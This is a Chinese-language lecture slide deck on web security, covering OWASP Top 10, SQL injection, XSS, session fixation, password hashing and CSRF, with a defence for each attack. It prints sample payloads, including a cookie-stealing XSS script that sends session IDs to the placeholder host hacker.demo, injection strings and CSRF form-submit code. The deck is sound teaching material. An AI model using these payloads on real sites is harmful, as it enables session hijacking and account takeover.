網站系統安全及資料保護設計認知 2019

Justin Lin
Justin LinTechnology / Community Evangelist at Free lancer
林信良
caterpillar@openhome.cc
openhome.cc
網站系統安全及資料保護設計認知
1
接下來…
• 網站系統安全及資料保護設計認知(一)
– 資料(訊)保護重要性
– 認識 OWASP TOP 10
– SQL 注入(SQL Injection)
– 跨網站指令碼(XSS)
– Session 管理與安全
2
• 網站系統安全及資料保護設計認知(二)
– 密碼管理
– 跨網站冒名請求(CSRF)
– 再看 XSS
– 更多資源
3
資料(訊)保護重要性
4
www.zhihu.com/question/59788971/answer/169187187 5
為何重要?
• 經濟上的損失
news.ltn.com.tw/news/life/paper/1104829
6
為何重要?
• 法律上的要求
news.ltn.com.tw/news/politics/paper/389561
7
• 重大負面影響
– 政策
– 商譽
– …
www.ithome.com.tw/tech/90726
8
為何重要?
• 無法彌補的傷害
www.cw.com.tw/article/article.action?id=5079112
9
被忽略的安全
• 軟體品質
• 軟體開發
• 專責部門
• 專責人員
• 專門工具
• 安全教育
10
• 通用漏洞披露
• 始於 1999
• 收集特定軟體漏洞並編號 CVE-YYYY-
NNNN
– OpenSSL 'Heartbleed' vulnerability (CVE-
2014-0160)
– CPU 推測執行(speculative execution)漏洞
衍生的變種(CVE-2017-5753、CVE-2017-5715、
CVE-2017-5754)
11
cve.mitre.org
CVE 資料庫
• 通用軟體弱點
• 始於 2005
• What is the difference between a
software vulnerability and software
weakness?
12
cwe.mitre.org
Software weaknesses are errors that can lead to
software vulnerabilities.
CWE 資料庫
OWASP
• 始於 2001
• 研議協助解決網路軟體安全之標準、工具
與技術文件
• OWASP TOP 10 為其中計畫之一
13
www.owasp.org
OWASP TOP 10
• 2002 年發起,針對 Web 應用程式最重大、
嚴重的十大弱點進行排名
• 首次 OWASP Top 10 於 2003 發布
• 2004 做了更新,之後每三年改版一次
• 最新正式版本為 OWASP Top 10 2017
14
www.owasp.org/index.php/Category:OWASP_Top_Ten_Project
15
github.com/OWASP/Top10/raw/master/2017/OWASP%20Top%2010%2
0-%202017%20RC1-English.pdf
OWASP ESAPI
• OWASP Enterprise Security API
16
www.owasp.org/index.php/Category:OWASP_Enterprise_Security_API
• Injection 攻擊
– SQL Injection
– XML Injection
– LDAP Injection
– Code Injection
17
SQL 注入(SQL Injection)
18
19
名稱:
密碼:
caterpillar
123456
20
名稱:
密碼:
caterpillar
' OR '1'='1
21
Robert'); DROP TABLE STUDENTS; --
Derper
SQL Injection 危害
• 迴避認證
• 竊取資料
• 改寫資料庫內容
• 讀寫伺服器上的檔案、執行程式
• …
22
23
SQL Injection 防範
• 避免串接字串方式建立 SQL
24
Java
Python
• 留意串接字串的變體
25
Python
• Escape 特殊字元
– (ESAPI.encoder().encodeForSQL())
• 輸入驗證(伺服端)
– 黑名單(Black List)
– 白名單(White List)
26
SQL Injection 防範
跨網站指令碼(XSS)
27
• 變化形式
– Reflected XSS(First-order XSS)
– Stored/Persistent XSS(Second-order XSS)
– DOM-based/Local XSS
• 危害
– 會話劫奪(Session hijacking)
– 釣魚(Phishing)
– XSS 蠕蟲
– …
28
2010 Twitter
Session hijacking
• 某網站搜尋功能回送查詢字串
29
Could not find any documents including "foo"
Search foo
http://xss.demo/search?keyword=foo
30
<b>foo</b>Search
http://xss.demo/search?keyword=<b>foo</b>
Could not find any documents including "<b>foo</b>"
http://xss.demo/search?keyword=<b>foo</b>
31
<script
language='javascript'>document.write(document.cookie)</script>
Search
Could not find any documents including "<script
language='javascript'>document.write(document.cookie)</script>"
http://xss.demo/search?keyword=Could not find any documents including "<script …
SESSION ID
32
<script language='javascript'>document.write('<img
src="http://hacker.demo/collect?sid=' + document.cookie +
'">');</script>
http://xss.demo/search?keyword=
<script language='javascript'>
document.write('<img
src="http://hacker.demo/collect?sid='
+ document.cookie +
'">');
</script>
33
http://xss.demo/search?keyword=<script
language='javascript'>document.write('<img
src="http://hacker.demo/collect?sid=' +
document.cookie + '">');</script>
http://xss.demo/search?keyword=%3Cscript%20langua
ge%3D'javascript'%3Edocument.write('%3Cimg%20src
%3D%22http%3A%2F%2Fhacker.demo%2Fcollect%3Fsi
d%3D'%20%2B%20document.cookie%20%2B%20'%22
%3E')%3B%3C%2Fscript%3E
URL Encoding
34
<a href
="http://xss.demo/search?keyword=%3Cscript%20language%3D'j
avascript'%3Edocument.write('%3Cimg%20src%3D%22http%3A%
2F%2Fhacker.demo%2Fcollect%3Fsid%3D'%20%2B%20document.
cookie%20%2B%20‘%22%3E')%3B%3C%2Fscript%3E">美女走光
圖^o^</a>
http://site.demo/share
美女走光圖^o^
35
http://xss.demo/search?keyword=%3Cscript%20language%3D'javascript'%3Edocument.
晚來一步…圖被刪了…
Reflected XSS
36
xss.demo
hacker.demo
美女走光圖^o^
http://site.demo/share
1. 按下鏈結
2. 查詢
3. 傳回結果
4. 傳送 session id
現代瀏覽器的安全
37
XSS 基本防範
• 強化輸入驗證
– 黑名單
– 白名單
– (ESAPI.validator())
– (OWASP Java HTML Sanitizer)
• 對輸出進行編碼
– (ESAPI.encoder().encodeForURL())
– (OWASP Java Encoder Project)
38
Session ID?
• 被拿走了又如何?
• HTTP 會話基本原理
– 每個請求對伺服器來說都是新的訪客請求
– 每次請求時主動告知伺服器必要的資訊
39
使用隱藏欄位
40
也不一定要放在隱藏欄位裏
放在 JavaScript 裏也行
有人就是會放不該放的東西
41
42
使用Cookie
43
• 設定 Cookie
• 取得 Cookie
44
危險的範例
45
危險的範例
46
使用URL重寫
47
48
(Http)Session API
49
50
51
Session Fixation 攻擊
• 誘使受害者使用特定的 Session ID
– Session ID 透過 URL 參數指定時容易被利用
52
53
sidfix.demo
1. 取得 sid2. 放入鏈結
<a
href="http://sidfix.demo/login;sid=8
51BB160B811634B03EDD08B60BFD
98D">美女走光圖</a>
美女走光圖^o^
3. 點選鏈結
4. 喔?需要登入?沒問題!
5. Got it!
Session Fixation
Session 防範對策
• 不從 GET、POST 參數取得 Session Id?
– Cookie 是可以偽照的
• 使用 HTTPS
• 不將 Session ID 用於 URL
– Referer 可能洩漏 Session ID
• 不採用 Session ID 預設名稱
54
Session 防範對策
• 設定 Session 之逾時
• 登入後重新產生 Session ID
• 重要操作前進行二次驗證
• 正確設定 Cookie 的 Domain、Secure、
HttpOnly
• (啟用伺服端軟體的 Session Fixation 自
動化保護機制)
55
Session 錯亂?
• 來自數個真實的案例
56
// 這是一個 Servlet 內部
private String name;
private String passwd;
@Override
protected void doPost(
HttpServletRequest request, HttpServletResponse response)
throws ServletException, IOException {
name = request.getParameter("name");
passwd = request.getParameter("passwd");
if(login(name, passwd)) {
List data = query(name);
...
}
}
57
安全的前題
在於
熟悉採用的技術
密碼
58
這封信透露了哪些訊息?
59
這句話透露了哪些訊息?
www.setn.com/news.aspx?newsid=260280
60
它的密碼是明碼?
61
明碼怎麼了?
62
unwire.hk/2012/07/13/statistics-of-450-000-leaked-yahoo-accounts/news/
63
github.com/danielmiessler/SecLists/pull/155/c
ommits/3cb941823b97124e1875552075b91c8
e0a6451f4
使用雜湊函式
• SHA-1、MD5
64
kknews.cc/zh-tw/tech/aaxnrv.html
65
彩虹表(Rainbow Tables)
• 雜湊值與明文之比對
66
Secured Salted
• 在密碼雜湊時加入鹽值(亂數)
– UUID 或其他夠長且唯一的亂數
– 每個使用者產生不同的鹽值
• 分別儲存鹽值與雜湊值
• (驗證時取得使用者輸入之密碼與儲存之
鹽值進行雜湊,然後與儲存之雜湊值比對)
67
68
這句話透露了哪些訊息?
www.setn.com/news.aspx?newsid=260280
69
暴力法
70www.teamsid.com/worst-passwords-of-2014/
慢得剛好
• 現代的運算設備速度越來越快
• 讓破解過程變慢是防禦的一種策略
• BCrypt、PBKDF2、SCRYPT
• 不是祕密的祕密
71
72
預設密碼?
73
www.ithome.com.tw/news/111843
密碼強度
74
• 傻瓜密碼 Out
• 規則越少越好
• 字元與數字夾雜
• 長度越長越好
社交工程
75
tw.voicetube.com/videos/20607
HTTPS
76www.ithome.com.tw/news/115148
77
78
hackernoon.com/username-or-password-is-incorrect-is-bullshit-89985ca2be48
79
80
跨網站冒名請求(CSRF)
• Cross-site Request Forgery
• 使用者通過驗證且 Session 未過期
• 授權、存取控制設計不良
• 在使用者不知情下進行特定行為
– 修改密碼、轉帳、自動發文、加好友…
81
1. 登入網站
2. 刪除專案
http://webapp.com/project/1/destroy
82
1. 寄送郵件
<img
src="http://webapp.com/
project/1/destroy">
2. 登入後發現有郵件通知
3. 觀看郵件,專案 Bye!
GET 的錯?
• GET 應用於等冪(Idempotent)操作
– 多次 GET 的結果應相同
– 不改變執行結果,通常不會改變伺服器狀態
• 使用 GET 確實降低了 CSRF 的難度
• 不過也可以透過 POST 來發動類似的請求
83
84
<a href="http://www.harmless.com/" onclick="
var f = document.createElement('form');
f.style.display = 'none';
this.parentNode.appendChild(f);
f.method = 'POST';
f.action = 'http://webapp.com/account/destroy';
f.submit();
return false;">好康在這裡</a>
<img src="http://www.harmless.com/img" width="400"
height="400" onmouseover="..." />
滑鼠略過圖也可以 …
利用一些 JavaScript 寫些 Ajax 請求,都有可能…
CSRF 防範
• 重新認識 HTTP 請求方法
– https://openhome.cc/Gossip/Programmer/
HttpMethod.html
• 使用 Request Token
– 不少 Web 框架有內建
– OWASP CSRFGuard
• 不依賴 Session Id 作為身份驗證
• 重要行為前要求重新認證與授權
85
86
Django
87
CSRF 防範
• 重新認識 HTTP 請求方法
– openhome.cc/Gossip/Programmer/HttpMe
thod.html
• 使用 Request Token
– 不少 Web 框架有內建
– OWASP CSRFGuard
• 不依賴 Session Id 作為身份驗證
• 重要行為前要求重新認證與授權
• (OAuth 2?)
88
再看 XSS
• Reflected XSS
• Stored/Persistent XSS
• DOM-based/Local XSS
89
Samy
• 2005 年 Samy 跟女友打賭他在 MySpace
上有很多粉絲,將他設成英雄(Hero)。
• Samy 寫了一隻 Stored/XSS 蠕蟲,因為散
播太快而導致 MySpace 當機
• Samy 當時被美國秘密警察逮捕,判三年緩
刑與 90 天的社區服務。
90
91
www.ithome.com.tw/node/63493
92
攻擊用的 JavaScript 會儲存在資料庫
• 推文
• HTML
93
http://www.guardian.co.uk/technology is the best!
<a href="http://www.guardian.co.uk/technology"
class="tweet-url web"
rel="nofollow">http://www.guardian.co.uk/technology</a> is
the best!
• 推文
• <a> 變成
94
<a
href="http://a.no/@";onmouseover=";$('textarea:first').val
(this.innerHTML);$('.status-update-
form').submit();"class="modal-overlay"/ class="tweet-url
web" rel="nofollow">
http://a.no/@";onmouseover=";$('textarea:first').val(this.
innerHTML);$('.status-update-
form').submit();"class="modal-overlay"/
DOM-based XSS
• 直接利用客戶端 JavaScript
• (伺服端未參與其中的流程)
95
<html>
<title>Welcome!</title>Hi
<script>
var pos = document.URL.indexOf("name=") + 5;
document.write(
document.URL.substring(pos,document.URL.length)
);
</script>
<br>Welcome to our system…
</html>
96
http://xss.demo/welcome?name=Justin
你想要的…
97
http://xss.demo/welcome?name=<script>alert('XD');</script>
他想要的…
改寫畫面
98
http://xss.demo/welcome?name=<script>document.getElementsByTagName("html")[
<script>document.getElementsByTagName("html")[0].innerHTML="Name: <input
type='text'/><br>Password: <input type='password'>";</script>
99
blog.mindedsecurity.com/2010/09/twitter-domxss-wrong-fix-and-something.html
其他(資源)
• Understanding the OWASP Top 10
Vulnerabilities
• The OWASP Top Ten and ESAPI
• Cookie & Session & CSRF
• [Nodejs] Security: Broken
Authentication
• Ruby on Rails Security Guide
• 駭客手法解析~你不能不知的資安問題!!
100
101
在漏洞被發現之後…
102
在漏洞發生之前…
• 軟體品質
• 開發流程
• 專責部門
• 專責人員
• 專門工具
• 安全教育
103
Justin Lin
caterpillar@openhome.cc
openhome.cc
Thanks
104
1 of 104

Recommended

とある診断員とSQLインジェクション by
とある診断員とSQLインジェクションとある診断員とSQLインジェクション
とある診断員とSQLインジェクションzaki4649
78.6K views47 slides
今さら聞けないXSS by
今さら聞けないXSS今さら聞けないXSS
今さら聞けないXSSSota Sugiura
7.6K views61 slides
とある診断員と色々厄介な脆弱性達 by
とある診断員と色々厄介な脆弱性達とある診断員と色々厄介な脆弱性達
とある診断員と色々厄介な脆弱性達zaki4649
27.1K views37 slides
ウェブ・セキュリティ基礎試験(徳丸基礎試験)の模擬試験問題 by
ウェブ・セキュリティ基礎試験(徳丸基礎試験)の模擬試験問題ウェブ・セキュリティ基礎試験(徳丸基礎試験)の模擬試験問題
ウェブ・セキュリティ基礎試験(徳丸基礎試験)の模擬試験問題Hiroshi Tokumaru
27.3K views12 slides
フリーでできるセキュリティWeb編(SQLMあpを楽しもう) by
フリーでできるセキュリティWeb編(SQLMあpを楽しもう)フリーでできるセキュリティWeb編(SQLMあpを楽しもう)
フリーでできるセキュリティWeb編(SQLMあpを楽しもう)abend_cve_9999_0001
10.1K views35 slides
Deep dive into ssrf by
Deep dive into ssrfDeep dive into ssrf
Deep dive into ssrfn|u - The Open Security Community
1.1K views17 slides

More Related Content

What's hot

フリーでやろうぜ!セキュリティチェック! by
フリーでやろうぜ!セキュリティチェック!フリーでやろうぜ!セキュリティチェック!
フリーでやろうぜ!セキュリティチェック!zaki4649
64.8K views114 slides
徳丸本に載っていないWebアプリケーションセキュリティ by
徳丸本に載っていないWebアプリケーションセキュリティ徳丸本に載っていないWebアプリケーションセキュリティ
徳丸本に載っていないWebアプリケーションセキュリティHiroshi Tokumaru
51.1K views75 slides
Firebase A/B Testingを使ってサーバ側までA/Bテストした話(Android) by
Firebase A/B Testingを使ってサーバ側までA/Bテストした話(Android)Firebase A/B Testingを使ってサーバ側までA/Bテストした話(Android)
Firebase A/B Testingを使ってサーバ側までA/Bテストした話(Android)gree_tech
1.3K views12 slides
ウェブアプリケーションセキュリティ超入門 by
ウェブアプリケーションセキュリティ超入門ウェブアプリケーションセキュリティ超入門
ウェブアプリケーションセキュリティ超入門Hiroshi Tokumaru
48.4K views54 slides
文字コードの脆弱性はこの3年間でどの程度対策されたか? by
文字コードの脆弱性はこの3年間でどの程度対策されたか?文字コードの脆弱性はこの3年間でどの程度対策されたか?
文字コードの脆弱性はこの3年間でどの程度対策されたか?Hiroshi Tokumaru
32.7K views32 slides
XSS再入門 by
XSS再入門XSS再入門
XSS再入門Hiroshi Tokumaru
88.5K views31 slides

What's hot(20)

フリーでやろうぜ!セキュリティチェック! by zaki4649
フリーでやろうぜ!セキュリティチェック!フリーでやろうぜ!セキュリティチェック!
フリーでやろうぜ!セキュリティチェック!
zaki464964.8K views
徳丸本に載っていないWebアプリケーションセキュリティ by Hiroshi Tokumaru
徳丸本に載っていないWebアプリケーションセキュリティ徳丸本に載っていないWebアプリケーションセキュリティ
徳丸本に載っていないWebアプリケーションセキュリティ
Hiroshi Tokumaru51.1K views
Firebase A/B Testingを使ってサーバ側までA/Bテストした話(Android) by gree_tech
Firebase A/B Testingを使ってサーバ側までA/Bテストした話(Android)Firebase A/B Testingを使ってサーバ側までA/Bテストした話(Android)
Firebase A/B Testingを使ってサーバ側までA/Bテストした話(Android)
gree_tech1.3K views
ウェブアプリケーションセキュリティ超入門 by Hiroshi Tokumaru
ウェブアプリケーションセキュリティ超入門ウェブアプリケーションセキュリティ超入門
ウェブアプリケーションセキュリティ超入門
Hiroshi Tokumaru48.4K views
文字コードの脆弱性はこの3年間でどの程度対策されたか? by Hiroshi Tokumaru
文字コードの脆弱性はこの3年間でどの程度対策されたか?文字コードの脆弱性はこの3年間でどの程度対策されたか?
文字コードの脆弱性はこの3年間でどの程度対策されたか?
Hiroshi Tokumaru32.7K views
Powershell 超絶基礎 勉強会 v1 (もっと新しいバージョンがあります) by Tetsu Yama
Powershell 超絶基礎 勉強会 v1 (もっと新しいバージョンがあります)Powershell 超絶基礎 勉強会 v1 (もっと新しいバージョンがあります)
Powershell 超絶基礎 勉強会 v1 (もっと新しいバージョンがあります)
Tetsu Yama6.2K views
君はyarn.lockをコミットしているか? by Teppei Sato
君はyarn.lockをコミットしているか?君はyarn.lockをコミットしているか?
君はyarn.lockをコミットしているか?
Teppei Sato30.4K views
flaws.cloudに挑戦しよう! by zaki4649
flaws.cloudに挑戦しよう!flaws.cloudに挑戦しよう!
flaws.cloudに挑戦しよう!
zaki46499.8K views
PWNの超入門 大和セキュリティ神戸 2018-03-25 by Isaac Mathis
PWNの超入門 大和セキュリティ神戸 2018-03-25PWNの超入門 大和セキュリティ神戸 2018-03-25
PWNの超入門 大和セキュリティ神戸 2018-03-25
Isaac Mathis9.6K views
PSR-1 と PSR-2 を 5分でざっくり理解する by Wataru Terada
PSR-1 と PSR-2 を5分でざっくり理解するPSR-1 と PSR-2 を5分でざっくり理解する
PSR-1 と PSR-2 を 5分でざっくり理解する
Wataru Terada17.7K views
【SQLインジェクション対策】徳丸先生に怒られない、動的SQLの安全な組み立て方 by kwatch
【SQLインジェクション対策】徳丸先生に怒られない、動的SQLの安全な組み立て方【SQLインジェクション対策】徳丸先生に怒られない、動的SQLの安全な組み立て方
【SQLインジェクション対策】徳丸先生に怒られない、動的SQLの安全な組み立て方
kwatch34K views
SQLインジェクション再考 by Hiroshi Tokumaru
SQLインジェクション再考SQLインジェクション再考
SQLインジェクション再考
Hiroshi Tokumaru1.1K views
ウェブセキュリティの常識 by Hiroshi Tokumaru
ウェブセキュリティの常識ウェブセキュリティの常識
ウェブセキュリティの常識
Hiroshi Tokumaru31.4K views
XXE、SSRF、安全でないデシリアライゼーション入門 by Hiroshi Tokumaru
XXE、SSRF、安全でないデシリアライゼーション入門XXE、SSRF、安全でないデシリアライゼーション入門
XXE、SSRF、安全でないデシリアライゼーション入門
Hiroshi Tokumaru3.6K views
SQLインジェクション総”習”編 by Yasuo Ohgaki
SQLインジェクション総”習”編SQLインジェクション総”習”編
SQLインジェクション総”習”編
Yasuo Ohgaki56.5K views
実践!Elasticsearch + Sudachi を用いた全文検索エンジン by S. T.
実践!Elasticsearch + Sudachi を用いた全文検索エンジン実践!Elasticsearch + Sudachi を用いた全文検索エンジン
実践!Elasticsearch + Sudachi を用いた全文検索エンジン
S. T.4.4K views
初心者向けCTFのWeb分野の強化法 by kazkiti
初心者向けCTFのWeb分野の強化法初心者向けCTFのWeb分野の強化法
初心者向けCTFのWeb分野の強化法
kazkiti 15.8K views
AlienVault Brute Force Attacks- Keeping the Bots at Bay with AlienVault USM +... by AlienVault
AlienVault Brute Force Attacks- Keeping the Bots at Bay with AlienVault USM +...AlienVault Brute Force Attacks- Keeping the Bots at Bay with AlienVault USM +...
AlienVault Brute Force Attacks- Keeping the Bots at Bay with AlienVault USM +...
AlienVault2.9K views
Mapping to MITRE ATT&CK: Enhancing Operations Through the Tracking of Interac... by MITRE ATT&CK
Mapping to MITRE ATT&CK: Enhancing Operations Through the Tracking of Interac...Mapping to MITRE ATT&CK: Enhancing Operations Through the Tracking of Interac...
Mapping to MITRE ATT&CK: Enhancing Operations Through the Tracking of Interac...
MITRE ATT&CK1.3K views

Similar to 網站系統安全及資料保護設計認知 2019

網站系統安全及資料保護設計認知 by
網站系統安全及資料保護設計認知網站系統安全及資料保護設計認知
網站系統安全及資料保護設計認知Justin Lin
3.8K views97 slides
用戶端攻擊與防禦 by
用戶端攻擊與防禦用戶端攻擊與防禦
用戶端攻擊與防禦Taien Wang
6K views43 slides
Hiiir 資安講座 III 用戶端攻擊與防禦 by
Hiiir 資安講座 III 用戶端攻擊與防禦Hiiir 資安講座 III 用戶端攻擊與防禦
Hiiir 資安講座 III 用戶端攻擊與防禦Hiiir Lab
1.4K views43 slides
伺服器端攻擊與防禦I by
伺服器端攻擊與防禦I伺服器端攻擊與防禦I
伺服器端攻擊與防禦ITaien Wang
6.6K views38 slides
Hiiir 資安講座 IV 伺服器端攻擊與防禦I by
Hiiir 資安講座 IV 伺服器端攻擊與防禦IHiiir 資安講座 IV 伺服器端攻擊與防禦I
Hiiir 資安講座 IV 伺服器端攻擊與防禦IHiiir Lab
998 views38 slides
1116 Windows server 2008 - 使用 IIS 7.0 建置安全站台 by
1116 Windows server 2008 - 使用 IIS 7.0 建置安全站台1116 Windows server 2008 - 使用 IIS 7.0 建置安全站台
1116 Windows server 2008 - 使用 IIS 7.0 建置安全站台Timothy Chen
1.1K views47 slides

Similar to 網站系統安全及資料保護設計認知 2019(20)

網站系統安全及資料保護設計認知 by Justin Lin
網站系統安全及資料保護設計認知網站系統安全及資料保護設計認知
網站系統安全及資料保護設計認知
Justin Lin3.8K views
用戶端攻擊與防禦 by Taien Wang
用戶端攻擊與防禦用戶端攻擊與防禦
用戶端攻擊與防禦
Taien Wang6K views
Hiiir 資安講座 III 用戶端攻擊與防禦 by Hiiir Lab
Hiiir 資安講座 III 用戶端攻擊與防禦Hiiir 資安講座 III 用戶端攻擊與防禦
Hiiir 資安講座 III 用戶端攻擊與防禦
Hiiir Lab1.4K views
伺服器端攻擊與防禦I by Taien Wang
伺服器端攻擊與防禦I伺服器端攻擊與防禦I
伺服器端攻擊與防禦I
Taien Wang6.6K views
Hiiir 資安講座 IV 伺服器端攻擊與防禦I by Hiiir Lab
Hiiir 資安講座 IV 伺服器端攻擊與防禦IHiiir 資安講座 IV 伺服器端攻擊與防禦I
Hiiir 資安講座 IV 伺服器端攻擊與防禦I
Hiiir Lab998 views
1116 Windows server 2008 - 使用 IIS 7.0 建置安全站台 by Timothy Chen
1116 Windows server 2008 - 使用 IIS 7.0 建置安全站台1116 Windows server 2008 - 使用 IIS 7.0 建置安全站台
1116 Windows server 2008 - 使用 IIS 7.0 建置安全站台
Timothy Chen1.1K views
.NET Security Application/Web Development - Part II by Chen-Tien Tsai
.NET Security Application/Web Development - Part II.NET Security Application/Web Development - Part II
.NET Security Application/Web Development - Part II
Chen-Tien Tsai443 views
Cybozu.com的結構 by cybozutw
Cybozu.com的結構Cybozu.com的結構
Cybozu.com的結構
cybozutw5.2K views
基礎網頁程式攻擊檢驗 by Taien Wang
基礎網頁程式攻擊檢驗基礎網頁程式攻擊檢驗
基礎網頁程式攻擊檢驗
Taien Wang3.5K views
網頁安全 Web security 入門 @ Study-Area by Orange Tsai
網頁安全 Web security 入門 @ Study-Area網頁安全 Web security 入門 @ Study-Area
網頁安全 Web security 入門 @ Study-Area
Orange Tsai58.6K views
電腦網路 網路安全 by bruce761207
電腦網路 網路安全電腦網路 網路安全
電腦網路 網路安全
bruce761207557 views
Internet Security by bruce761207
Internet SecurityInternet Security
Internet Security
bruce761207432 views
网站离线数据安全分析漫谈 2012cert by ph4nt0m
网站离线数据安全分析漫谈 2012cert网站离线数据安全分析漫谈 2012cert
网站离线数据安全分析漫谈 2012cert
ph4nt0m1.8K views
Web security by 逸于 張
Web securityWeb security
Web security
逸于 張107 views
Session1(更新20230205).pdf by ssuser9026c8
Session1(更新20230205).pdfSession1(更新20230205).pdf
Session1(更新20230205).pdf
ssuser9026c811 views
Hiiir 資安講座 II 使安全成為軟體開發的一部分 by Hiiir Lab
Hiiir 資安講座 II 使安全成為軟體開發的一部分Hiiir 資安講座 II 使安全成為軟體開發的一部分
Hiiir 資安講座 II 使安全成為軟體開發的一部分
Hiiir Lab690 views
使安全成為軟體開發必要部分 by Taien Wang
使安全成為軟體開發必要部分使安全成為軟體開發必要部分
使安全成為軟體開發必要部分
Taien Wang2.7K views
Hiiir 資安講座 I 基礎網頁程式攻擊檢驗 by Hiiir Lab
Hiiir 資安講座 I 基礎網頁程式攻擊檢驗Hiiir 資安講座 I 基礎網頁程式攻擊檢驗
Hiiir 資安講座 I 基礎網頁程式攻擊檢驗
Hiiir Lab1K views

More from Justin Lin

Ch14 簡介 Spring Boot by
Ch14 簡介 Spring BootCh14 簡介 Spring Boot
Ch14 簡介 Spring BootJustin Lin
872 views22 slides
Ch13 整合 Spring MVC/Security by
Ch13 整合 Spring MVC/SecurityCh13 整合 Spring MVC/Security
Ch13 整合 Spring MVC/SecurityJustin Lin
280 views58 slides
Ch12 Spring 起步走 by
Ch12 Spring 起步走Ch12 Spring 起步走
Ch12 Spring 起步走Justin Lin
274 views31 slides
Ch11 簡介 JavaMail by
Ch11 簡介 JavaMailCh11 簡介 JavaMail
Ch11 簡介 JavaMailJustin Lin
157 views8 slides
Ch10 Web 容器安全管理 by
Ch10 Web 容器安全管理Ch10 Web 容器安全管理
Ch10 Web 容器安全管理Justin Lin
153 views30 slides
Ch09 整合資料庫 by
Ch09 整合資料庫Ch09 整合資料庫
Ch09 整合資料庫Justin Lin
233 views92 slides

More from Justin Lin(20)

Ch14 簡介 Spring Boot by Justin Lin
Ch14 簡介 Spring BootCh14 簡介 Spring Boot
Ch14 簡介 Spring Boot
Justin Lin872 views
Ch13 整合 Spring MVC/Security by Justin Lin
Ch13 整合 Spring MVC/SecurityCh13 整合 Spring MVC/Security
Ch13 整合 Spring MVC/Security
Justin Lin280 views
Ch12 Spring 起步走 by Justin Lin
Ch12 Spring 起步走Ch12 Spring 起步走
Ch12 Spring 起步走
Justin Lin274 views
Ch11 簡介 JavaMail by Justin Lin
Ch11 簡介 JavaMailCh11 簡介 JavaMail
Ch11 簡介 JavaMail
Justin Lin157 views
Ch10 Web 容器安全管理 by Justin Lin
Ch10 Web 容器安全管理Ch10 Web 容器安全管理
Ch10 Web 容器安全管理
Justin Lin153 views
Ch09 整合資料庫 by Justin Lin
Ch09 整合資料庫Ch09 整合資料庫
Ch09 整合資料庫
Justin Lin233 views
Ch08 自訂標籤 by Justin Lin
Ch08 自訂標籤Ch08 自訂標籤
Ch08 自訂標籤
Justin Lin133 views
Ch07 使用 JSTL by Justin Lin
Ch07 使用 JSTLCh07 使用 JSTL
Ch07 使用 JSTL
Justin Lin161 views
Ch06 使用 JSP by Justin Lin
Ch06 使用 JSPCh06 使用 JSP
Ch06 使用 JSP
Justin Lin250 views
Ch05 Servlet 進階 API、過濾器與傾聽器 by Justin Lin
Ch05 Servlet 進階 API、過濾器與傾聽器Ch05 Servlet 進階 API、過濾器與傾聽器
Ch05 Servlet 進階 API、過濾器與傾聽器
Justin Lin204 views
Ch04 會話管理 by Justin Lin
Ch04 會話管理Ch04 會話管理
Ch04 會話管理
Justin Lin238 views
Ch03 請求與回應 by Justin Lin
Ch03 請求與回應Ch03 請求與回應
Ch03 請求與回應
Justin Lin236 views
Ch02 撰寫與設定 Servlet by Justin Lin
Ch02 撰寫與設定 ServletCh02 撰寫與設定 Servlet
Ch02 撰寫與設定 Servlet
Justin Lin352 views
CH1. 簡介 Web 應用程式 by Justin Lin
CH1. 簡介 Web 應用程式CH1. 簡介 Web 應用程式
CH1. 簡介 Web 應用程式
Justin Lin1.2K views
14. 進階主題 by Justin Lin
14. 進階主題14. 進階主題
14. 進階主題
Justin Lin406 views
13.並行、平行與非同步 by Justin Lin
13.並行、平行與非同步13.並行、平行與非同步
13.並行、平行與非同步
Justin Lin237 views
12. 除錯、測試與效能 by Justin Lin
12. 除錯、測試與效能12. 除錯、測試與效能
12. 除錯、測試與效能
Justin Lin153 views
11. 常用內建模組 by Justin Lin
11. 常用內建模組11. 常用內建模組
11. 常用內建模組
Justin Lin149 views
10. 資料永續與交換 by Justin Lin
10. 資料永續與交換10. 資料永續與交換
10. 資料永續與交換
Justin Lin156 views
9. 資料結構 by Justin Lin
9. 資料結構9. 資料結構
9. 資料結構
Justin Lin292 views

網站系統安全及資料保護設計認知 2019